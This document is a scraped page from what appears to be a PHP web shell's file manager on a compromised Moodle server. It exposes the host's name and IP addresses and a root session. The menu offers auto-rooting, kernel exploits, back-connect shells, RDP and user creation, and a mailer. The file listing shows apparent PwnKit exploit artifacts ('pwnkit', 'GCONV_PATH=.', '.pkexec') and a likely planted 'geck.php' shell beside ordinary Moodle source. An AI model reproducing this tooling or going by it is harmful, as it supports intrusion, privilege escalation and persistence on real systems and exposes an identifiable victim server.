Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxrwxrwx
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxrwxrwx
analytics
[ DIR ]
drwxrwxrwx
auth
[ DIR ]
drwxrwxrwx
availability
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
badges
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
blog
[ DIR ]
drwxrwxrwx
cache
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
cohort
[ DIR ]
drwxrwxrwx
comment
[ DIR ]
drwxrwxrwx
competency
[ DIR ]
drwxrwxrwx
completion
[ DIR ]
drwxrwxrwx
contentbank
[ DIR ]
drwxrwxrwx
course
[ DIR ]
drwxrwxrwx
customfield
[ DIR ]
drwxrwxrwx
dataformat
[ DIR ]
drwxrwxrwx
enrol
[ DIR ]
drwxrwxrwx
error
[ DIR ]
drwxrwxrwx
favourites
[ DIR ]
drwxrwxrwx
files
[ DIR ]
drwxrwxrwx
filter
[ DIR ]
drwxrwxrwx
grade
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
h5p
[ DIR ]
drwxrwxrwx
install
[ DIR ]
drwxrwxrwx
iplookup
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
lib
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
login
[ DIR ]
drwxrwxrwx
media
[ DIR ]
drwxrwxrwx
message
[ DIR ]
drwxrwxrwx
mnet
[ DIR ]
drwxrwxrwx
mod
[ DIR ]
drwxrwxrwx
my
[ DIR ]
drwxrwxrwx
notes
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
plagiarism
[ DIR ]
drwxrwxrwx
portfolio
[ DIR ]
drwxrwxrwx
privacy
[ DIR ]
drwxrwxrwx
question
[ DIR ]
drwxrwxrwx
rating
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
repository
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
tag
[ DIR ]
drwxrwxrwx
theme
[ DIR ]
drwxrwxrwx
user
[ DIR ]
drwxrwxrwx
userpix
[ DIR ]
drwxrwxrwx
webservice
[ DIR ]
drwxrwxrwx
.eslintignore
2.32
KB
-rwxrwxrwx
.eslintrc
7.92
KB
-rwxrwxrwx
.gherkin-lintrc
597
B
-rwxrwxrwx
.gitattributes
94
B
-rwxrwxrwx
.htaccess
197
B
-r--r--r--
.jshintignore
16
B
-rwxrwxrwx
.jshintrc
1.51
KB
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
.nvmrc
12
B
-rwxrwxrwx
.shifter.json
67
B
-rwxrwxrwx
.stylelintignore
2.36
KB
-rwxrwxrwx
.stylelintrc
4.62
KB
-rwxrwxrwx
.travis.yml
8.56
KB
-rwxrwxrwx
CONTRIBUTING.txt
2.3
KB
-rwxrwxrwx
COPYING.txt
34.32
KB
-rwxrwxrwx
Gruntfile.js
35.65
KB
-rwxrwxrwx
GruntfileComponents.js
6.57
KB
-rwxrwxrwx
INSTALL.txt
664
B
-rwxrwxrwx
PULL_REQUEST_TEMPLATE.txt
266
B
-rwxrwxrwx
README.txt
1.15
KB
-rwxrwxrwx
TODO
58
B
-rwxrwxrwx
TRADEMARK.txt
3.29
KB
-rwxrwxrwx
babel-plugin-add-module-to-def...
8.04
KB
-rwxrwxrwx
behat.yml.dist
302
B
-rwxrwxrwx
brokenfile.php
1.13
KB
-rwxrwxrwx
composer.json
1.87
KB
-rwxrwxrwx
composer.lock
171.3
KB
-rwxrwxrwx
config-dist.php
54.34
KB
-rwxrwxrwx
config.php
712
B
-rwxrwxrwx
draftfile.php
2.53
KB
-rwxrwxrwx
file.php
3.78
KB
-rwxrwxrwx
geck.php
143.87
KB
-rw-r--r--
githash.php
953
B
-rwxrwxrwx
help.php
1.83
KB
-rwxrwxrwx
help_ajax.php
1.39
KB
-rwxrwxrwx
index.php
4.61
KB
-rwxrwxrwx
install.php
25.57
KB
-rwxrwxrwx
npm-shrinkwrap.json
723.91
KB
-rwxrwxrwx
package.json
1.45
KB
-rwxrwxrwx
phpunit.xml.dist
9.83
KB
-rwxrwxrwx
pluginfile.php
1.64
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
security.txt
270
B
-rwxrwxrwx
tokenpluginfile.php
1.56
KB
-rwxrwxrwx
version.php
1.6
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-rw-r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This script fetches legacy course files in dataroot directory, it is enabled * only if course->legacyfiles == 2. DO not link to this file in new code. * * Syntax: file.php/courseid/dir/dir/dir/filename.ext * file.php/courseid/dir/dir/dir/filename.ext?forcedownload=1 (download instead of inline) * file.php/courseid/dir (returns index.html from dir) * Workaround: file.php?file=/courseid/dir/dir/dir/filename.ext * * @package core * @subpackage file * @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // disable moodle specific debug messages and any errors in output define('NO_DEBUG_DISPLAY', true); require_once('config.php'); require_once('lib/filelib.php'); $relativepath = get_file_argument(); $forcedownload = optional_param('forcedownload', 0, PARAM_BOOL); // relative path must start with '/', because of backup/restore!!! if (!$relativepath) { print_error('invalidargorconf'); } else if ($relativepath[0] != '/') { print_error('pathdoesnotstartslash'); } // extract relative path components $args = explode('/', ltrim($relativepath, '/')); if (count($args) == 0) { // always at least courseid, may search for index.html in course root print_error('invalidarguments'); } $courseid = (int)array_shift($args); $relativepath = implode('/', $args); // security: limit access to existing course subdirectories $course = $DB->get_record('course', array('id'=>$courseid), '*', MUST_EXIST); if ($course->legacyfiles != 2) { // course files disabled send_file_not_found(); } if ($course->id != SITEID) { require_login($course, true, null, false); } else if ($CFG->forcelogin) { if (empty($CFG->sitepolicyhandler) and !empty($CFG->sitepolicy) and ($CFG->sitepolicy == $CFG->wwwroot.'/file.php/'.$relativepath or $CFG->sitepolicy == $CFG->wwwroot.'/file.php?file=/'.$relativepath)) { //do not require login for policy file } else { require_login(0, true, null, false); } } $context = context_course::instance($course->id); $fs = get_file_storage(); $fullpath = "/$context->id/course/legacy/0/$relativepath"; if (!$file = $fs->get_file_by_hash(sha1($fullpath))) { if (strrpos($fullpath, '/') !== strlen($fullpath) -1 ) { $fullpath .= '/'; } // Try to fallback to the directory named as the supposed file. if (!$file = $fs->get_file_by_hash(sha1($fullpath.'.'))) { send_file_not_found(); } } // do not serve dirs if ($file->get_filename() == '.') { if (!$file = $fs->get_file_by_hash(sha1($fullpath.'index.html'))) { if (!$file = $fs->get_file_by_hash(sha1($fullpath.'index.htm'))) { if (!$file = $fs->get_file_by_hash(sha1($fullpath.'Default.htm'))) { send_file_not_found(); } } } } // ======================================== // finally send the file // ======================================== \core\session\manager::write_close(); // Unlock session during file serving. send_stored_file($file, null, $CFG->filteruploadedfiles, $forcedownload);
Close